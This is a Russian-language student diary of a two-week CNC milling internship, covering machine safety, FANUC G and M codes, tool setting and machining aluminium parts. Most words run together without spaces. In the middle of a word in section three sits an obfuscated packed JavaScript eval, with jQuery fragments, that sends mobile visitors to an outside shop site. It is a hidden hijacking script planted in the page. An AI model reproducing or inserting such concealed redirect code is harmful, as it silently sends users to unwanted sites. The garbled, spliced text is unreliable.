Дневникпрактикипофрезерованиюнастанкахс ЧПУ
Двухнедельнаяпрактикапофрезерованиюнастанкахс числовым программным управлением успешнозавершена. Даннаяпрактикасталаважным практическим курсом, позволившим объединитьтеоретическиезнаниявобластимашиностроения, программированияЧПУиобработкипресс-форм с реальнойэксплуатациейоборудованиявцеховыхусловиях. Входесистематическогообучениявучебном производственном центреподруководством преподавателяяизучилконструкциювертикальныхфрезерныхстанковс ЧПУ, правилаэксплуатации, ручноепрограммирование, основы автоматическогопрограммирования, атакжетехнологиюобработкидеталейфрезерованием. Мнеудалосьсамостоятельноизготовитьпростыедеталис плоскимиповерхностями, пазамииконтурнымивыступами. ПрактикаполностьюизмениламоёповерхностноепредставлениеофрезерованиинастанкахЧПУ, позволилаосвоитьбазовыенавыкиработы наоборудовании, глубокоосознатьтребовательность, нормативностьибезопасностьмеханическойобработки, атакженакопитьценныйопытработы напроизводстве. Нижеподробноописанвесьходпрактики, изученныематериалы, устранениевозникшихпроблем иличныевыводы.
I. Целипрактики
Фрезерованиенастанкахс ЧПУявляетсяодним изключевыхтехнологическихпроцессовмашиностроения. Посравнениюс обычнымифрезернымистанкамиоборудованиес ЧПУотличаетсявысокойточностью, производительностьюистепеньюавтоматизации, широкоприменяетсявпроизводствепресс-форм, аэрокосмическойотрасли, изготовлениимеханическихкомпонентовиявляетсябазовойтехнологиейсовременногоинтеллектуальногопроизводства.
Основныецелипрактики:
Первое –укрепитьпрофессиональнуюбазу, применитьнапрактикетеоретическиезнанияпотехнологиимеханическойобработки, кодам G и M, машиностроительномучерчению, устранитьразрывмеждутеориейиреальнойэксплуатацией.
Второе –освоитьпрактическиенавыки: изучитьконструкциюфрезерногостанка, процедуры включенияинастройкиоборудования, выверкуинструмента, вводпрограмм иобработкудеталей, техническоеобслуживание, освоитьполныйтехнологическийциклисамостоятельновыполнятьфрезернуюобработкупростыхдеталей.
Третье –формироватьпрофессиональныекачества: выработатьсознаниебезопасности, ориентациюнаточностьисоблюдениенормативовпримеханическойобработке, воспитатьскрупулёзностьистремлениексовершенствованию.
Четвёртое –развитькомплексныеспособности: научитьсяанализироватьпогрешностиобработки, оптимизироватьтехнологическиепроцессы ивыявлятьпростыенеисправностиоборудования, заложитьнадёжнуюосновудлядальнейшегообученияибудущейпрофессиональнойдеятельности.
II. Срокиместопроведенияпрактики
Срокпроведения: двухнедельнаяконцентрированнаяпрактикапофрезерованиюнастанкахс ЧПУ.
Местопроведения: учебныйпроизводственныйцентр механико-инженерногофакультета, цехфрезерованиянастанкахЧПУ.
Используемоеоборудование: вертикальныефрезерныестанкис системойуправления FANUC, слесарныетиски, индикатор часовоготипа, штангенциркуль, микрометр, фрезы, гаечныеключиидругиевспомогательныеинструменты.
III. Основноесодержаниепрактики
(1) Инструктажпотехникебезопасностииознакомлениес оборудованием
Вначалепрактикипреподавательпровёлкомплексныйинструктажпобезопасности, которыйявляетсяглавным предварительным условием любыхпрактическихработ. Подробноразобраны нормы эксплуатациифрезерныхстанковЧПУизапрещённыеоперации: передвключением необходимопроверятьэлектрическиецепи, пневматическуюсистемуинадёжностьзакреплениярежущегоинструмента; вовремяобработкизапрещенооткрыватьзащитныедверцы станка, приближатьрукиквращающемусяшпинделю; нельзяработатьвперчатках, с шарфамииукрашениями, длинныеволосы следуетубиратьподрабочийголовнойубор. Припоявлениипостороннихшумов, вибрацииилизаклиниванияоборудованиянужнонемедленнонажатькнопкуаварийнойостановки, отключитьпитаниеисообщитьпреподавателю, самостоятельнаяразборкастанказапрещена.
Напримерахаварийизпредыдущихлетобученияяпонял, чтопримеханическойобработкебезопасностьнеимеетмелочей, любоенеосторожноенарушениеправилможетпривестикповреждениюоборудованияитравмам.
Послеинструктажамы систематическиизучилиустройствовертикальногофрезерногостанка. Онсостоитизшестиосновныхузлов: шпиндельнойсистемы, системы подачи, системы программногоуправления, системы охлаждения, системы смазкиизащитныхустройств. Шпиндельприводитвовращениефрезуиявляетсяосновойпроцессарезания; системаподачиобеспечиваетточноеперемещениезаготовкипоосям X, Y, Z; системаЧПУ –?мозг?оборудования, онараспознаёткоды G и M иуправляетавтоматическойобработкой; системаохлажденияподаётсмазочно-охлаждающуюжидкостьдляохлажденияиудалениястружки, снижаетизнос инструментаиулучшаеткачествоповерхностидеталей; системасмазкиавтоматическисмазываетнаправляющие, подшипникиипродлеваетсрокслужбы станка. Такжемы разобралиразницумеждуторцевойфрезой, пазовойфрезойисферическойфрезой, условияприменениякаждогоинструмента, чтоподготовилонас кдальнейшейобработке.
(2) ЗакреплениетеоретическихосновпрограммированияЧПУ
Программированиеявляетсяядром фрезерованиянаЧПУ, безточнойпрограммы невозможноизготовитьгоднуюдеталь. Вовремяпрактикипреподавательповторилосновныекоды длясистем FANUC. Основныеподготовительныекоды G: G00 –ускоренноепозиционирование, G01 –линейнаяинтерполяция, G02/G03 –круговаяинтерполяция, используютсядляобработкиконтуров; G41/G42 –компенсациярадиусарежущегоинструмента, G43 –компенсациядлины инструмента, необходимы длясоблюденияразмернойточностидеталей; установкасистем координатзаготовки G54–G59 –основаточнойвыверки.
Вспомогательныекоды M: M03 –прямоевращениешпинделя, M08 –включениеподачиохлаждающейжидкости, M30 –завершениепрограммы исброс параметров, обязательны приобработке.
Коды, кажущиесяпростымиприизученииваудитории, имеютстрогийпорядокприменениянапрактике. Напримерахмы освоилилогикусоставленияпрограмм: сначалаанализчертежадетали, определениеначалакоординат, планированиетраекторииобработки, подбор режимоврезанияинаписаниеполнойпрограммы. Такжеизучены принципы выборатрёхпараметроврезания: частотавращенияшпинделя, скоростьподачи, глубинарезания. Ихподбор зависитотматериалазаготовки (алюминий, сталь 45), материалаинструмента, чтобы избежатьполомкифрезы, деформациизаготовкииповышеннойшероховатостиповерхности.
(3) Базовыеоперациинастанкеитренировкаповыверкеинструмента
Вывер
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786773|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
каинструмента –самаябазоваяиважнейшаяоперацияприфрезерованииЧПУ, точностьвыверкинапрямуюопределяетточностьизготовлениядеталей, поэтомуданнаяоперациясталаосновным направлением тренировок. Преподавательличнопоказалпоследовательностьручнойвыверки. Сначалазаготовказакрепляетсявслесарныхтисках, с помощьюиндикаторачасовоготипавыравниваетсяплоскостьзаготовкидляобеспеченияпараллельностиотносительностоластанка, закреплениедолжнобытьнадёжным, безлюфта, чтобы исключитьсмещениезаготовкивовремяобработки.
Далеевыполняетсявыверкапоосям X и Y с помощьюискателякромок: инструменткасаетсяпротивоположныхгранейзаготовки, фиксируютсякоординаты станка, вычисляетсяцентральнаяточказаготовки, котораязадаётсякакначалосистемы координат G54. Пооси Z инструменткасаетсяверхнейповерхностизаготовки, устанавливаетсянулеваяотметкаоси Z. Припервыхпопыткахяработалслишком быстро, чрезмерносильноприжималискателькзаготовке, чтоприводилокпогрешностям измерений. Послемногократныхтренировокяосвоилплавную, точнуютехнику, научилсяповторятьизмерениядлякалибровкикоординат, снизивпогрешностьвыверкидо 0,02 мм.
Яосвоилручноеуправлениестанком, перемещениепоосям с помощьюмаховика, разобралрежим ускоренногоитонкогоперемещения, научилсяточнопозиционироватьинструмент. Такжеизучилпроцедуры возвратаосейвисходноеположение, блокировкуосей, блокировкупрограммы, пошаговуюобработкуидругиебазовыефункцииоборудования.
(4) Ручноепрограммированиеипрактическаяобработкадеталей
Послеосвоениябазовыхоперацийначалсяосновнойэтап –обработкадеталей. Врамкахпрактикимы обрабатывализаготовкиизалюминия: деталис прямоугольнымипазамиипростыеконтурныевыступы, сложностьработподходитдляначинающихспециалистов.
Передобработкойявнимательноизучилчертеж, определилгабаритныеразмеры, глубинупазов, радиусы скруглений, допускиразмеровидругиетехническиетребования, спланировалтехнологическийпроцесс с учётом конструкциидетали. Последовательностьопераций: закреплениеивыравниваниезаготовки →выверкаинструментаиустановкасистемы координат →вводиотладкапрограммы →проверкатраекториихолостым ходом →пробнаяобработка →контрольразмеров →чистоваяобработкадополученияготовойдетали. Припрограммированииярациональноиспользовалфункциюкомпенсациирадиусаинструментадляисключенияпогрешностей, связанныхс диаметром фрезы, оптимизировалтраекториюперемещениядлясокращенияхолостыхходовиповышенияпроизводительности.
Послевводапрограммы строговыполнялпроверкухолостым ходом длявыявленияошибоккоординат, пересечениятраекторий, рискавыходазапределы ходаосей. Толькопослепроверкивключалпошаговыйрежим пробнойобработки. Вовремярезанияпостоянноследилзаработойстанка, процессом резанияиподачейохлаждающейжидкости, корректировалчастотувращенияшпинделяискоростьподачиповнешнемувидуследоврезания. Послечерновойобработкиизмерялразмеры штангенциркулем имикрометром. Обнаруживпогрешностьоколо 0,05 мм наотдельныхучастках, яскорректировалпараметры компенсацииинструментаивыполнилчистовуюобработку. Витогеполученныедеталисоответствовалитребованиям чертежапоразмерам ишероховатостиповерхности.
Входемногократныхтренировоквозникаломножествотрудностей. Пр